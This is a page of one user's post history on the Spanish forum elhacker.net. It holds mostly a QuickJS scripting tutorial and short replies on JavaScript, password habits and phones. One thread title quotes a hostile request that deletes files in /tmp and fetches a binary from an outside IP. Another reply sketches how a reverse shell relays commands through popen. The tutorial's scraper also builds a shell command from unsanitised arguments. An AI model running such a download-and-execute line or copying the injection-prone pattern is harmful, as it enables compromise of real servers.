elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 287
211  Programación / Desarrollo Web / Tutorial básico de Quickjs en: 9 Enero 2021, 03:38 am
Tutorial básico de quickjs.

Qué es:
Quickjs es un entorno de ejecución (motor) de javascript que cumple en gran medida con el estandar de javascript.

Sirve para interpretar, ejecutar o compilar codigo javascript.


Cómo se compara a Node.js y a Chrome:
Quickjs es mucho más pequeño que node o v8. Se ejecuta de forma rápida sin esperar al cargar scripts y ocupa poco espacio, lo que lo hace ideal para crear pequeños scripts y utilidades para la consola de comandos de Linux, Windows o Termux.
                                                     
Como se instala:
Puedes descargarlo de su página oficial, de github y compilarlo o utilizando apt-get install quickjs


A parte del javascript estandar que más trae:
Trae 2 librerías preinstaladas que podemos importar. std y os.
La librería std trae varias funciones del lenguaje de C y la librería os trae hilos, funciones para abrir procesos, y varias utilidades.


Al lio:
holaMundo.js
Código
  1. console.log("Hola mundo");

Puedes ejecutarlo con el comando qjs holaMundo.js
También puedes compilarlo con qjsc -o holaMundo holaMundo.js


correrCualquierComando.js
Código
  1. import * as std from "std";
  2. let run = comando => {
  3.  let prog = std.popen(comando, "r");
  4.  let r, msg = "";
  5.  while ((r = prog.getline()) != null) {
  6.    msg += r + "\n";
  7.  }
  8.  return msg;
  9. }
  10.  
  11. console.log( run("ls") );
  12. console.log( run("ls && pwd") );


generadorDeArchivos.js
Código
  1. import * as std from "std";
  2. console.log(`Generador de archivos 2021
  3.  
  4. Genera el esqueleto de archivos para no tener que escribir a mano partes recurrentes de archivos comunes.
  5.  
  6.  
  7. 1. Proyecto HTML
  8. 2. Reporte de Seguridad
  9.  
  10. Selecciona el número correspondiente a la opción que deseas.`);
  11.  
  12. let opcionUsuario = +std.in.getline();
  13.  
  14. if (opcionUsuario === 1) {
  15.  let fd = std.open("index.html", "w");
  16.  fd.puts(`<!DOCTYPE html>
  17. <html lang="en">
  18.  <head prefix="og:http://ogp.me/ns#">
  19.    <meta charset="utf-8">
  20.    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
  21.    <title>Index.html</title>
  22.    <!--
  23.      <meta property="og:type" content="website">
  24.    -->
  25.    <link rel="stylesheet" href="./code.css">
  26.    <meta name="theme-color" content="#ffffff">
  27.  </head>
  28.  
  29.  <body>
  30.  
  31.  
  32.    <script src="./main.js"></script>
  33.  </body>
  34. </html>`);
  35.  fd.close();
  36.  
  37.  fd = std.open("main.js", "w");
  38.  fd.close();
  39.  
  40.  fd = std.open("code.css", "w");
  41.  fd.puts(`body {
  42.  margin: 0 0 0 0; /* Remove ugly left side border */
  43.  text-size-adjust: none; /* Fix Android Big Text */
  44.  text-rendering: optimizeLegibility; /* Improve text */
  45. }
  46.  
  47.  /* Media query */
  48.  @media (min-width: 0px) and (orientation:landscape) {
  49.  body {
  50.    font-size: 1.1vw;
  51.  }
  52. }`);
  53.  fd.close();
  54. } else if (opcionUsuario === 2) {
  55.  console.log("Esta opción se programará en el futuro");
  56. }



scraper.js
Código
  1. import * as std from "std";
  2.  
  3. let run = comando => {
  4.  let prog = std.popen(comando, "r");
  5.  let r, msg = "";
  6.  while ((r = prog.getline()) != null) {
  7.    msg += r + "\n";
  8.  }
  9.  return msg;
  10. }
  11.  
  12. let getTargetAndSelector = () => {
  13.  let returnValues = {};
  14.  for(let i in scriptArgs) {
  15.    if (scriptArgs[i] == "-t" || scriptArgs[i] == "--target") {
  16.      returnValues.target = scriptArgs[+i+1];
  17.    } else if (scriptArgs[i] == "-s" || scriptArgs[i] == "--selector") {
  18.      returnValues.selector = scriptArgs[+i+1];
  19.    }
  20.  }
  21.  if (returnValues.target && returnValues.selector) {
  22.    return [returnValues.target, returnValues.selector];
  23.  } else {
  24.    throw `Usage:
  25. -t  --target  Url to download
  26. -s  --selector Selector to use
  27.  
  28. Example: qjs scraper.js -t https://example.com -s h1`;
  29.  }
  30. }
  31.  
  32.  
  33. let result = run(`curl ${getTargetAndSelector()[0]} -A "Mozilla/5.0" --silent | pup ${getTargetAndSelector()[1]}`);
  34. console.log(result);

Puedes compilarlos y meterlos en bin y darle permisos para usarlos como cualquier otro comando sin necesidad de estar en la misma carpeta que el código.
qjsc -o scraper scraper.js && cp scraper ~/../usr/bin/ && chmod +775 ~/../usr/bin/scraper
scraper -t https://example.com -s a



Documentación Official Quickjs: https://bellard.org/quickjs/quickjs.html


Documentación Herramienta Pup para usar selectores en la linea de comandos: https://github.com/ericchiang/pup
212  Programación / Desarrollo Web / Re: [Aporte] javascript - Proporción de números en: 9 Enero 2021, 02:03 am
Qué recuerdos del colegio. Ahí va mi forma de hacerlo:
Código
  1. let proporcion = (...nums) => {
  2.  let greater, less = 0, equal = 0;
  3.  
  4.  for(let i in nums) {
  5.    nums[i] < 0 && ++less;
  6.    nums[i] == 0 && ++equal;
  7.  }
  8.  
  9.  greater = ( nums.length - (less + equal) ) / nums.length;
  10.  less /= nums.length;
  11.  equal /= nums.length;
  12.  
  13.  return [greater, less, equal];
  14. }
  15.  
  16. alert(proporcion(-5, 5, 4, 3, 2, 1, 0, -1));
213  Seguridad Informática / Seguridad / Re: La app y extension LastPass es segura y fiable? en: 5 Enero 2021, 00:49 am
Yo solo tengo una contraseña. La del correo. La del resto de servicios las pongo random y las regenero cada vez que necesito hacer login.

Algunos servicios te dejan directamente acceder mediante link de correo sin necesidad de establecer contraseña. (Firebase te deja esta opción por ejemplo)
214  Programación / Desarrollo Web / Re: [Pregunta]: Definir un arreglo vacío (javascript). en: 4 Enero 2021, 05:25 am
Que se supone que quieres saberbo hacer?

El titulo de tu pregunta es como declarar un array vacio y ya lo estás haciendo.

En tu código tienes un bucle de 0 al tamaño del array vacio, que también es 0. Asique tu bucle hace 0 iteraciones, o lo que es lo mismo, no hace nada.

Aunque iterases una vez el bucle, estás haciendo append de un elemento de una array que no tiene elementos. El array no tiene dentro []. No tiene nada dentro. [] Es para delimitar los elementos que pertenecen al array.
var myArray = [1, 3];

Pregunta algo concreto o muestra el problema que quieres resolver.
215  Foros Generales / Dudas Generales / Re: [MOD] restringir webs con datos móvil en: 30 Diciembre 2020, 01:04 am
Si se lo quiere jugar todo, hasta sus órganos, es su vida.

Ha estado trabajando toda la vida para que pueda hacer con su dinero y sus propiedades lo que le de la gana.

Consulta a un abogado para que evalue la situación de tu aval a ver si tienes alguna clausula (que dudo mucho que tengas porque la mayoria firma palante y después llora) para dejar de ser aval.

En caso contrario la única salida legal es intentar negociar con la entidad bancaria, que no está obligada a absolutamente nada.

216  Programación / Programación C/C++ / Re: [?] Crear un terminal mediante código. en: 29 Diciembre 2020, 21:12 pm
Se llama reverse shell. Puedes usar funciones como popen y system entre otras.

Simplemente mandas el texto desde el servidor al cliente, en el cliente lo ejecutas con popen y mandas la respuesta del comando al servidor.
217  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / Re: Dos dudas, no puedo instalar apps en playstore y no me reconoce la sim en la tablet! en: 26 Diciembre 2020, 13:18 pm
La cuenta agrégala en Ajustes -> Cuentas -> Añadir Cuenta.
218  Programación / Scripting / Re: Función especial en python en: 24 Diciembre 2020, 09:17 am
Es el constructor de una clase. https://stackoverflow.com/questions/8609153/why-do-we-use-init-in-python-classes/8609238#8609238
219  Foros Generales / Foro Libre / Re: Os importa mas lo que piensa la gente (conocidos) que los propios de casa? en: 24 Diciembre 2020, 09:12 am
Me importa lo que pienso yo xD
220  Seguridad Informática / Nivel Web / Re: GET /shell?cd+/tmp;rm+-rf+*;wget+185.172.111.214/bins/UnHAnaAW.x86 en: 19 Diciembre 2020, 17:49 pm
Me pasaba mucho con una red en concreto, pero por lo general en servidores no me llegan peticiones por el estilo.
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 287
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines